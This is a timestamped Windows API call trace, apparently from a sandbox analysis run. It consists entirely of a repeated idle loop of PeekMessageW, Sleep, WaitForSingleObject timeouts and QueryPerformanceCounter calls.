[0137.115] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.115] Sleep (dwMilliseconds=0x64) [0137.129] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.130] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732189695) returned 1 [0137.130] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732189881) returned 1 [0137.130] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.131] Sleep (dwMilliseconds=0x64) [0137.146] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.146] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732245376) returned 1 [0137.146] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732245571) returned 1 [0137.146] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.147] Sleep (dwMilliseconds=0x64) [0137.163] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732304076) returned 1 [0137.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732304274) returned 1 [0137.164] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.164] Sleep (dwMilliseconds=0x64) [0137.176] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.176] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732349386) returned 1 [0137.176] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732349571) returned 1 [0137.177] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.177] Sleep (dwMilliseconds=0x64) [0137.192] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.192] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732403103) returned 1 [0137.192] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732403287) returned 1 [0137.193] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.193] Sleep (dwMilliseconds=0x64) [0137.208] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.208] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732456857) returned 1 [0137.208] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732457042) returned 1 [0137.208] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.209] Sleep (dwMilliseconds=0x64) [0137.223] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.223] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732509407) returned 1 [0137.223] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732509589) returned 1 [0137.224] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.224] Sleep (dwMilliseconds=0x64) [0137.240] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732568467) returned 1 [0137.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732568653) returned 1 [0137.241] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.241] Sleep (dwMilliseconds=0x64) [0137.255] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.255] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732618267) returned 1 [0137.255] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732618452) returned 1 [0137.256] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.256] Sleep (dwMilliseconds=0x64) [0137.270] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.270] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732669812) returned 1 [0137.270] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732670010) returned 1 [0137.271] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.271] Sleep (dwMilliseconds=0x64) [0137.285] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732722914) returned 1 [0137.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732723097) returned 1 [0137.286] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.287] Sleep (dwMilliseconds=0x64) [0137.301] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.301] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732776015) returned 1 [0137.301] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732776198) returned 1 [0137.302] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.302] Sleep (dwMilliseconds=0x64) [0137.319] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.320] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732839176) returned 1 [0137.320] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732839373) returned 1 [0137.320] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.321] Sleep (dwMilliseconds=0x64) [0137.332] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732882701) returned 1 [0137.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732882899) returned 1 [0137.333] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.333] Sleep (dwMilliseconds=0x64) [0137.348] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.348] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732935856) returned 1 [0137.348] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732936054) returned 1 [0137.348] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.349] Sleep (dwMilliseconds=0x64) [0137.364] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=732992780) returned 1 [0137.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=732992976) returned 1 [0137.365] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.366] Sleep (dwMilliseconds=0x64) [0137.379] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.379] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733042835) returned 1 [0137.379] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733043100) returned 1 [0137.380] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.380] Sleep (dwMilliseconds=0x64) [0137.397] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.397] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733103501) returned 1 [0137.397] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733103686) returned 1 [0137.398] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.398] Sleep (dwMilliseconds=0x64) [0137.410] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.410] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733149792) returned 1 [0137.411] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733149981) returned 1 [0137.411] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.412] Sleep (dwMilliseconds=0x64) [0137.426] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.426] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733202521) returned 1 [0137.426] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733202693) returned 1 [0137.426] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.427] Sleep (dwMilliseconds=0x64) [0137.441] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.442] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733255923) returned 1 [0137.442] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733256096) returned 1 [0137.442] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.443] Sleep (dwMilliseconds=0x64) [0137.457] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.457] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733309226) returned 1 [0137.457] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733309421) returned 1 [0137.458] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.458] Sleep (dwMilliseconds=0x64) [0137.491] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.492] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733426855) returned 1 [0137.492] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733427034) returned 1 [0137.492] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.493] Sleep (dwMilliseconds=0x64) [0137.504] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.504] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733469515) returned 1 [0137.504] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733469700) returned 1 [0137.505] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.505] Sleep (dwMilliseconds=0x64) [0137.519] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.520] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733522500) returned 1 [0137.520] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733522678) returned 1 [0137.520] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.521] Sleep (dwMilliseconds=0x64) [0137.536] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733578197) returned 1 [0137.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733578384) returned 1 [0137.536] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.537] Sleep (dwMilliseconds=0x64) [0137.551] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.551] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733629436) returned 1 [0137.551] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733629622) returned 1 [0137.575] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.576] Sleep (dwMilliseconds=0x64) [0137.582] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.582] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733736964) returned 1 [0137.582] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733737148) returned 1 [0137.583] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.583] Sleep (dwMilliseconds=0x64) [0137.598] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.598] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733791354) returned 1 [0137.598] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733791530) returned 1 [0137.599] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.599] Sleep (dwMilliseconds=0x64) [0137.613] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.613] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733842239) returned 1 [0137.613] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733842413) returned 1 [0137.614] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.614] Sleep (dwMilliseconds=0x64) [0137.629] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.629] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733895909) returned 1 [0137.629] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733896080) returned 1 [0137.629] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.630] Sleep (dwMilliseconds=0x64) [0137.644] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.644] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=733949040) returned 1 [0137.644] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=733949239) returned 1 [0137.645] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.645] Sleep (dwMilliseconds=0x64) [0137.660] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.660] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734002299) returned 1 [0137.660] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734002470) returned 1 [0137.660] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.661] Sleep (dwMilliseconds=0x64) [0137.675] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.675] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734055610) returned 1 [0137.676] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734055809) returned 1 [0137.676] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.677] Sleep (dwMilliseconds=0x64) [0137.691] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.691] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734109624) returned 1 [0137.691] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734109824) returned 1 [0137.692] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.692] Sleep (dwMilliseconds=0x64) [0137.707] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.707] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734164363) returned 1 [0137.707] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734164547) returned 1 [0137.708] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.708] Sleep (dwMilliseconds=0x64) [0137.722] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734216374) returned 1 [0137.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734216558) returned 1 [0137.723] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.724] Sleep (dwMilliseconds=0x64) [0137.738] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.738] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734268877) returned 1 [0137.738] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734269036) returned 1 [0137.738] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.739] Sleep (dwMilliseconds=0x64) [0137.754] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.754] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734322601) returned 1 [0137.754] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734322749) returned 1 [0137.754] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.755] Sleep (dwMilliseconds=0x64) [0137.771] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734382777) returned 1 [0137.771] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734382912) returned 1 [0137.772] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.772] Sleep (dwMilliseconds=0x64) [0137.785] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.785] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734429731) returned 1 [0137.785] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734429856) returned 1 [0137.785] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.786] Sleep (dwMilliseconds=0x64) [0137.805] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.805] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734498447) returned 1 [0137.806] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734500052) returned 1 [0137.811] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.812] Sleep (dwMilliseconds=0x64) [0137.818] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.819] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734544612) returned 1 [0137.819] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734546457) returned 1 [0137.820] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.825] Sleep (dwMilliseconds=0x64) [0137.831] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.831] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734588378) returned 1 [0137.831] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734588485) returned 1 [0137.832] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.832] Sleep (dwMilliseconds=0x64) [0137.847] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.847] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734641868) returned 1 [0137.847] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734641974) returned 1 [0137.847] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.848] Sleep (dwMilliseconds=0x64) [0137.862] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.863] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734694841) returned 1 [0137.863] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734694938) returned 1 [0137.863] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.863] Sleep (dwMilliseconds=0x64) [0137.879] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.879] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734750655) returned 1 [0137.879] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734750751) returned 1 [0137.879] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.880] Sleep (dwMilliseconds=0x64) [0137.894] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.894] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734801435) returned 1 [0137.894] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734801525) returned 1 [0137.894] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.894] Sleep (dwMilliseconds=0x64) [0137.910] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.910] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734855735) returned 1 [0137.910] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734855821) returned 1 [0137.910] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0137.910] Sleep (dwMilliseconds=0x64) [0137.925] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0137.925] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=734909280) returned 1 [0137.925] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=734909363) returned 1 